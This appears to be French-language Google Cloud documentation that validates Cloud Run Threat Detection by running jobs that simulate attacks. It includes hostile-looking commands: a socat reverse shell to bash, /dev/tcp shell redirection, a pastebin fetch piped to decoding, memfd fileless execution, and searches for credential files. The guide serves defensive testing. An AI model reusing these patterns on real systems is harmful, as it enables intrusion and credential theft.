Tester la détection des menaces Cloud Run

Cette page explique comment vérifier que Cloud Run Threat Detection fonctionne en déclenchant intentionnellement des détecteurs et en vérifiant les résultats. Cloud Run Threat Detection est un service intégré de Security Command Center.

Avant de commencer

Pour détecter les menaces potentielles qui pèsent sur vos services et jobs Cloud Run, assurez-vous que le service Cloud Run Threat Detection est activé dans Security Command Center. Certains détecteurs sont désactivés par défaut. Pour tester ces détecteurs, vous devez d'abord les activer.

Définir des variables d'environnement

Pour tester les détecteurs, utilisez la console Google Cloud et Cloud Shell. Vous pouvez définir des variables d'environnement dans Cloud Shell pour faciliter l'exécution des commandes. Vous utiliserez ces variables pour tester tous les détecteurs.

  1. Accédez à la consoleGoogle Cloud .

    Accéder à la console Google Cloud

  2. Sélectionnez le projet contenant le job Cloud Run que vous souhaitez utiliser pour le test.

  3. Cliquez sur Activer Cloud Shell.

  4. Dans Cloud Shell, définissez les variables d'environnement :

    1. Définissez le projet et la région dans lesquels vous allez créer des jobs de test.

      export PROJECT=PROJECT_ID
      export REGION=REGION
      

Une fois les variables d'environnement définies, vous pouvez continuer à suivre les instructions pour tester les détecteurs.

Commande et contrôle : outil de stéganographie détecté

Pour déclencher un résultat Command and Control: Steganography Tool Detected (aperçu), exécutez un fichier binaire avec des fonctionnalités de manipulation de fichiers compatibles avec les outils de stéganographie dans un conteneur. Cet exemple copie /bin/ls et le renomme steghide.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Command and Control: Steganography Tool Detected.

Accès aux identifiants : recherche d'identifiants Google Cloud

Pour déclencher un résultat Credential Access: Find Google Cloud Credentials, exécutez un fichier binaire capable de rechercher le contenu des fichiers dans un conteneur. Cet exemple copie /bin/ls, le renomme grep et l'exécute avec des arguments suspects.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Credential Access: Find Google Cloud Credentials.

Accès aux identifiants : reconnaissance des clés GPG

Pour déclencher un résultat Credential Access: GPG Key Reconnaissance, exécutez un outil de recherche avec des arguments suspects.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Credential Access: GPG Key Reconnaissance.

Accès aux identifiants : rechercher des clés privées ou des mots de passe

Pour déclencher un résultat Credential Access: Search Private Keys or Passwords, exécutez un outil de recherche avec des arguments suspects.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Credential Access: Search Private Keys or Passwords.

Éviction de défense : ligne de commande avec fichier ELF en base64

Pour déclencher un résultat Defense Evasion: Base64 ELF File Command Line, exécutez base64 avec des arguments d'en-tête ELF encodés.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test doit créer deux résultats Defense Evasion: Base64 ELF File Command Line.

Évasion de la défense : script Python encodé en base64 exécuté

Pour déclencher un résultat Defense Evasion: Base64 Encoded Python Script Executed, exécutez echo avec une commande Python encodée.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Defense Evasion: Base64 Encoded Python Script Executed.

Contournement des défenses : script shell encodé en base64 exécuté

Pour déclencher un résultat Defense Evasion: Base64 Encoded Shell Script Executed, exécutez echo avec une commande shell encodée.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Defense Evasion: Base64 Encoded Shell Script Executed.

Évasion de la défense : lancer un outil de compilation de code dans un conteneur

Pour déclencher un résultat Defense Evasion: Launch Code Compiler Tool In Container (aperçu), exécutez un outil de compilation.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Defense Evasion: Launch Code Compiler Tool In Container.

Exécution : binaire malveillant ajouté exécuté

Pour déclencher un résultat "Exécution : binaire malveillant ajouté exécuté", ajoutez un binaire malveillant (EICAR) à votre conteneur et exécutez-le.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat "Exécution : binaire malveillant ajouté exécuté".

Exécution : bibliothèque malveillante ajoutée chargée

Pour déclencher un résultat d'exécution : bibliothèque malveillante ajoutée chargée, ajoutez une bibliothèque malveillante dans votre conteneur et chargez-la. Cet exemple met à jour le fichier /tmp/test_mal_lib avec une bibliothèque malveillante simulée, puis le charge à l'aide de mmap. Le chargement de bibliothèque d'un fichier existant est inattendu, car le fichier ne se trouvait pas dans l'image de conteneur d'origine et la bibliothèque est un fichier de test EICAR, qui est classé comme malveillant par les renseignements sur les menaces.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   cat << 'EOF2' > JOB_NAME.sh
   apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
   echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
   cat << 'EOF' > /tmp/loader.c
   #include <fcntl.h>
   #include <sys/mman.h>
   #include <sys/stat.h>
   #include <unistd.h>
   #include <stdlib.h>
   int main(int argc, char *argv[]) {
      int fd = open(argv[1], O_RDONLY);
      if (fd == -1) return 1;
      struct stat sb;
      if (fstat(fd, &sb) == -1) return 1;
      void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
      if (addr == MAP_FAILED) return 1;
      write(1, addr, sb.st_size);
      munmap(addr, sb.st_size);
      close(fd);
      return 0;
   }
   EOF
   gcc /tmp/loader.c -o /tmp/loader
   sleep 30
   /tmp/loader /tmp/test_mal_lib
   sleep 10
   EOF2
   ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
   rm -f JOB_NAME.sh
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat "Exécution : bibliothèque malveillante ajoutée chargée".

Exécution : échappement de conteneur

Pour déclencher un résultat "Exécution : échappement de conteneur", exécutez un outil simulant un comportement d'échappement de conteneur.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat "Exécution : échappement de conteneur".

Exécution : exécution sans fichier dans /memfd:

Pour déclencher un résultat Execution: Fileless Execution in /memfd:, exécutez un processus à partir du système de fichiers en mémoire /memfd: à l'aide de Python.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   PYTHON_CODE=$(cat <<EOF
   import os,sys
   f = open('/bin/ls','rb')
   execdata = f.read()
   f.close()
   fd = os.memfd_create('', 0)
   fname = '/proc/self/fd/{}'.format(fd)
   f = open(fname,'wb')
   f.write(execdata)
   f.close()
   args = ['/bin']
   os.execve(fname, args, os.environ)
   EOF
   )
   B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image python:latest \
      --command=bash \
      --args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Fileless Execution in /memfd:.

Exécution : exécution d'un outil d'attaque de Kubernetes

Pour déclencher un résultat d'exécution d'un outil d'attaque Kubernetes, exécutez un programme qui correspond à un outil d'attaque connu.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat "Exécution : exécution d'un outil d'attaque de Kubernetes".

Exécution : exécution d'un outil de reconnaissance local

Pour déclencher un résultat Execution: Local Reconnaissance Tool Execution, exécutez un programme correspondant à un outil de reconnaissance.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat "Exécution : exécution d'un outil de reconnaissance local".

Exécution : binaire malveillant modifié exécuté

Pour déclencher un résultat d'exécution : binaire malveillant modifié exécuté, modifiez un binaire pour qu'il corresponde à une signature malveillante connue (EICAR).

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat "Exécution : binaire malveillant modifié exécuté".

Exécution : bibliothèque malveillante modifiée chargée

Pour déclencher un résultat d'exécution : bibliothèque malveillante modifiée chargée, modifiez un fichier existant avec une bibliothèque malveillante dans votre conteneur et chargez-le. Cet exemple met à jour le fichier /etc/issue avec une bibliothèque malveillante simulée, puis le charge à l'aide de mmap. Le chargement de bibliothèque d'un fichier existant est inattendu, car la bibliothèque est un fichier de test EICAR, qui est classé comme malveillant par les renseignements sur les menaces.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   cat << 'EOF2' > JOB_NAME.sh
   apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
   echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
   cat << 'EOF' > /tmp/loader.c
   #include <fcntl.h>
   #include <sys/mman.h>
   #include <sys/stat.h>
   #include <unistd.h>
   #include <stdlib.h>
   int main(int argc, char *argv[]) {
      int fd = open(argv[1], O_RDONLY);
      if (fd == -1) return 1;
      struct stat sb;
      if (fstat(fd, &sb) == -1) return 1;
      void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
      if (addr == MAP_FAILED) return 1;
      write(1, addr, sb.st_size);
      munmap(addr, sb.st_size);
      close(fd);
      return 0;
   }
   EOF
   gcc /tmp/loader.c -o /tmp/loader
   sleep 30
   /tmp/loader /etc/issue
   sleep 10
   EOF2
   ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
   rm -f JOB_NAME.sh
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat "Exécution : bibliothèque malveillante modifiée chargée".

Exécution : exécution de code Netcat à distance dans un conteneur

Pour déclencher un événement Execution: Netcat Remote Code Execution In Container, exécutez netcat avec des arguments suspects.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Netcat Remote Code Execution In Container.

Exécution : exécution possible de commandes arbitraires via CUPS (CVE-2024-47076)

Pour déclencher un résultat Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), exécutez un script simulant l'exploitation.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076).

Exécution : exécution possible de commandes à distance détectée

Pour déclencher un résultat Execution: Possible Remote Command Execution Detected (Aperçu), exécutez une commande qui tente d'établir une connexion à distance.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Possible Remote Command Execution Detected.

Exécution : exécution d'un programme avec un environnement de proxy HTTP non autorisé

Pour déclencher un résultat Execution: Program Run with Disallowed HTTP Proxy Env, exécutez un programme avec une variable d'environnement de proxy incorrecte.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Program Run with Disallowed HTTP Proxy Env.

Exécution : shell inversé de Socat détecté

Pour déclencher un résultat Execution: Socat Reverse Shell Detected, établissez un shell inversé à l'aide de l'utilitaire socat.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
   B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
      --execute-now \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Socat Reverse Shell Detected.

Exécution : objet partagé OpenSSL suspect chargé

Pour déclencher un résultat Execution: Suspicious OpenSSL Shared Object Loaded, exécutez openssl avec une bibliothèque suspecte.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Suspicious OpenSSL Shared Object Loaded.

Exfiltration : lancer des outils de copie de fichiers à distance dans un conteneur

Pour déclencher un résultat Exfiltration: Launch Remote File Copy Tools In Container, exécutez un outil de copie à distance.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Exfiltration: Launch Remote File Copy Tools In Container.

Impact : détecter les lignes de commande malveillantes

Pour déclencher un résultat Impact: Detect Malicious Cmdlines (Aperçu), exécutez un nom de commande suspect (IPFS).

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Impact: Detect Malicious Cmdlines.

Impact : supprimer des données du disque de manière groupée

Pour déclencher un résultat Impact: Remove Bulk Data From Disk, exécutez un outil tel que shred.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Impact: Remove Bulk Data From Disk.

Impact : activité de minage de cryptomonnaie suspecte utilisant le protocole Stratum

Pour déclencher un résultat Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol, exécutez un fichier binaire avec des arguments semblables à ceux utilisés par les logiciels de minage de cryptomonnaie communiquant à l'aide du protocole Stratum.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol.

Script malveillant exécuté

Pour déclencher un résultat de script malveillant exécuté, exécutez un script qui imite un comportement malveillant.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat de script malveillant exécuté.

URL malveillante observée

Pour déclencher un résultat d'URL malveillante observée, exécutez un fichier binaire et fournissez une URL malveillante comme argument.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test déclenche un résultat "URL malveillante observée".

Élévation des privilèges : utilisation abusive de Sudo pour l'élévation des privilèges (CVE-2019-14287)

Pour déclencher un résultat Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), exécutez le fichier binaire sudo avec le paramètre -u#-1.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287).

Élévation des privilèges : élévation potentielle des privilèges de Sudo (CVE-2021-3156)

Pour déclencher un résultat Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), exécutez le fichier binaire sudo avec le paramètre -s et un paramètre se terminant par ".

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156).

Élévation des privilèges : faille liée à l'élévation des privilèges locaux de Polkit (CVE-2021-4034)

Pour déclencher un résultat Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), exécutez un binaire pkexec avec la variable d'environnement GCONV_PATH définie en tant qu'utilisateur non racine.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034).

Interface système inversée

Pour déclencher un résultat d'interface système inversée, démarrez un fichier binaire avec une redirection stdin vers un socket connecté TCP.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat d'interface système inversée.

Exécution : image Docker de minage de cryptomonnaie

Pour déclencher une recherche d'image Docker de minage de cryptomonnaie, déployez un conteneur à l'aide d'un nom d'image Docker associé à un logiciel de minage de cryptomonnaie.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image docker.io/security-test-DO-NOT-USE/xmrig:latest \
       --command sh \
       --wait || true
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat "Exécution : image Docker de minage de cryptomonnaie". Notez que le déploiement du job échouera, car l'image n'existe pas, mais le résultat sera quand même généré.

Impact : commandes de minage de cryptomonnaie

Pour déclencher un résultat Impact: Cryptomining Commands, exécutez une commande avec des arguments qui ressemblent à un logiciel de minage de cryptomonnaie connu.

Créez et exécutez le job Cloud Run :

   JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command xmrig \
       --wait || true
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

